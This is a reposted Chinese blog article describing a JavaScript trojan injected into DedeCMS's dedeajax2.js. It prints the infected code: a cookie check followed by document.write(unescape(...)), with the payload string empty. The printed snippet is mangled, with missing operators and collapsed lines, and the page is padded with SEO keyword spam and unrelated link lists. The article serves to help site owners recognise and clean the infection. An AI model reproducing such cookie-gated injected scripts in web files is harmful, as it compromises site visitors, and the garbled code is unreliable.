位置: IT常识 - 正文

织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞)

编辑:rootadmin
这阵子我的一个织梦dedecms网站被植入了木马,程序dede。于是我升级到了IE7+全补丁,为了查木马做准备工作,呵呵。

推荐整理分享织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞),希望有所帮助,仅作参考,欢迎阅读内容。

织梦dedecms:dedeajax2.js被植入js木马(织梦艺嫣跳舞)

文章相关热门搜索词:织梦志玲 舞蹈,织梦志玲 舞蹈,织梦dedecms模板,织梦dedecms开始收割韭菜了,织梦dedecms网站无法访问,织梦映象,织梦dedecms网站无法访问,织梦dedecms网站无法访问,内容如对您有帮助,希望把文章链接给更多的朋友!

结果发现,dedecms织梦ajax2.js被植入了木马。源码如下:

//初始化xmldomfunction InitXDom(){if(DedeXDOM!=null) return;var obj = null;if (typeof(DOMParser) != "undefined") { // Gecko、Mozilla、Firefoxvar parser = new DOMParser();obj = parser.parseFromString(xmlText, "text/xml");} else { // IEtry { obj = new ActiveXObject("MSXML2.DOMDocument");} catch (e) { }if (obj == null) try { obj = new ActiveXObject("Microsoft.XMLDOM"); } catch (e) { }}DedeXDOM = obj;};//以下是被植入木马的部分,乱码都是经由unicode码处理。现在的马夫越来越狡猾了if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime() 24*60*60*1000);document.cookie='hello=Yes;path=/;expires=' expires.toGMTString();document.write(unescape(""));}用原版本的dedeajax2覆盖,即可。这个文件,dede的模板都要用到,搜索了,没有发现说明用处。不过建议大家,多注意dedecms的官方补丁,unix服务器的织梦站长,千万别所有文件都是设置,虽然dede在unix的服务器上,设置太过繁琐。

免责

本文链接地址:https://www.jiuchutong.com/zhishi/313335.html 转载请保留说明!

上一篇:最好最实用的织梦二次开发教程(最好最实用的织毛线)

下一篇:经典帝国CMS生成sitemap实现代码分享(经典帝国cms生成器下载)

  • 微商如何引流发帖技巧篇(微商如何高效引流)

    微商如何引流发帖技巧篇(微商如何高效引流)

  • 高德地图家的位置怎么改(高德地图家位置错误怎么修改)

    高德地图家的位置怎么改(高德地图家位置错误怎么修改)

  • 小米10青春版和红米k30的区别有哪些(小米10青春版和红米10x5g版哪款更好)

    小米10青春版和红米k30的区别有哪些(小米10青春版和红米10x5g版哪款更好)

  • 手机掉进水里马上捞起来了应该没事吧(如果手机掉进水里)

    手机掉进水里马上捞起来了应该没事吧(如果手机掉进水里)

  • 只允许拖拽单个文件怎么解决(只允许拖拽单个文件怎么压缩)

    只允许拖拽单个文件怎么解决(只允许拖拽单个文件怎么压缩)

  • 微信视频手机发烫的原因(微信视频手机发热)

    微信视频手机发烫的原因(微信视频手机发热)

  • 微信群加好友显示操作频繁稍后再试(微信群加好友显示因隐私问题无法添加好友)

    微信群加好友显示操作频繁稍后再试(微信群加好友显示因隐私问题无法添加好友)

  • 手机耳机和电脑耳机通用吗(手机耳机和电脑耳机不通用)

    手机耳机和电脑耳机通用吗(手机耳机和电脑耳机不通用)

  • 微信月亮表情的含义(微信月亮小表情)

    微信月亮表情的含义(微信月亮小表情)

  • 电脑突然开不了机,电源指示灯也不亮(笔记本电脑突然开不了)

    电脑突然开不了机,电源指示灯也不亮(笔记本电脑突然开不了)

  • 5g手机什么时候出(5g手机什么时候出来的)

    5g手机什么时候出(5g手机什么时候出来的)

  • 管理员怎么设置专属头衔(抖音管理员怎么设置)

    管理员怎么设置专属头衔(抖音管理员怎么设置)

  • 魅族17支持无线充电吗(魅族17的无线充电是什么协议)

    魅族17支持无线充电吗(魅族17的无线充电是什么协议)

  • iphone脸部识别失效(iphone脸部识别不好用)

    iphone脸部识别失效(iphone脸部识别不好用)

  • 微信里微笑的表情什么意思(微信里微笑的表情图)

    微信里微笑的表情什么意思(微信里微笑的表情图)

  • 华为512g内存的手机是哪一款(512g 华为)

    华为512g内存的手机是哪一款(512g 华为)

  • 苹果11pro max尺寸大小(苹果11pro max尺寸屏幕)

    苹果11pro max尺寸大小(苹果11pro max尺寸屏幕)

  • 华为升降摄像头是哪一款(华为升降摄像头黑屏)

    华为升降摄像头是哪一款(华为升降摄像头黑屏)

  • 快手极速版曲库页在哪(快手极速版酷狗音乐)

    快手极速版曲库页在哪(快手极速版酷狗音乐)

  • 幻灯片图片怎么一个个出来(幻灯片图片怎么设置透明色)

    幻灯片图片怎么一个个出来(幻灯片图片怎么设置透明色)

  • vivo手机用户中心在哪(vivo帐户app)

    vivo手机用户中心在哪(vivo帐户app)

  • 荣耀20运行后台如何清理(荣耀20怎么关闭后运行)

    荣耀20运行后台如何清理(荣耀20怎么关闭后运行)

  • 共享单车停车点满了怎么办(附近哪里有共享单车停车点)

    共享单车停车点满了怎么办(附近哪里有共享单车停车点)

  • xsmax美版是双卡吗(xsmax美版是单卡)

    xsmax美版是双卡吗(xsmax美版是单卡)

  • 税金及附加是负债类吗
  • 附加税税率分别是多少
  • 固定资产盘亏计入什么科目
  • 小规模纳税人怎么转成一般纳税人
  • 个人所得税申报退税多久到账
  • 钱收多了退回去怎么说好
  • 营业外支出为负数怎么处理
  • 30万的车税可以抵多少
  • 建筑工人的工资应该怎样支付
  • 哪些财务指标可以用于判断一个企业即将发生财务危机
  • 存在商业折扣的情况下,应收账款按什么金额入账?
  • 死账呆账的处理程序
  • 上缴财政收入怎么做账
  • 挂失申请怎么写
  • 商贸公司账务复杂吗
  • 新公司前几个月发工资
  • 进项发票账务处理
  • 农产品销售发票是什么?
  • 印花税的计税依据含税吗
  • 普通增值税 税点
  • 缴纳滞纳金计入什么科目
  • 企业会计准则应用案例
  • 子公司代母公司支付费用
  • 研发支出期末列报
  • 申报缴纳印花税,取得银行缴税凭证
  • 1697508577
  • 产品核算会计业务流程
  • 工程物资期末余额应在资产负债表中填列?
  • 税盘的服务费
  • 广告公司广告费会计分录
  • 查补税款有未缴纳怎么办
  • 赡养老人支出如果有四个子女都要填吗
  • 微信公众平号平台
  • 销售自行开发的房地产
  • Uncaught TypeError TypeError: Cannot set properties of null (setting ‘onclick‘)的解决办法
  • 生产企业一般贸易
  • 民营医院所得税税率
  • 前端cli搭建
  • 社保和公积金个人缴纳在哪里查看
  • qt+opencv教程
  • 计提坏账准备不会影响应收账款账面价值
  • 支出包括哪些项目
  • 残次品生产成本计算
  • mongodb createindex
  • python如何实现事务机制
  • 一般纳税人销售货物税率
  • 收据入帐
  • 一般纳税人季度所得税怎么计算
  • 工程预付款是否含规费和税金
  • 宾馆收入怎么做账
  • 进口增值税已抵进项税额
  • 劳务派遣公司收入确认税收政策
  • 以前年度房租付了没计提
  • 一般纳税人增值税税率
  • 跟老师出差路上可以聊些什么
  • 技术研发费用是什么意思
  • 收到的赔款罚款怎么做账
  • 如何查询一个企业的纳税情况
  • 一年不到
  • 会计收入的定义和分类
  • mysql删除有外键关联的数据
  • win7更改电脑设置在哪里
  • linux 更新系统
  • 通过防火墙可以保证窃听到的信息毫无价值
  • mac菜单栏不见了
  • 域名解析a记录怎么填
  • cocos js
  • 新浪微博 app 安卓
  • unityproject
  • unity3d Hair real time rendering 真实头发实时渲染
  • jquery实现购物车功能(删除商品,增加和减少商品)
  • 第一个javascript程序
  • android10获取设备id
  • python操作access数据库
  • Python循环遍历的题
  • 国家税务总局开票系统怎么开票
  • 高速公路发票在哪里开
  • 小规模纳税人开专票
  • 珠海选调生2021公告
  • 税控发票证书密码是什么
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设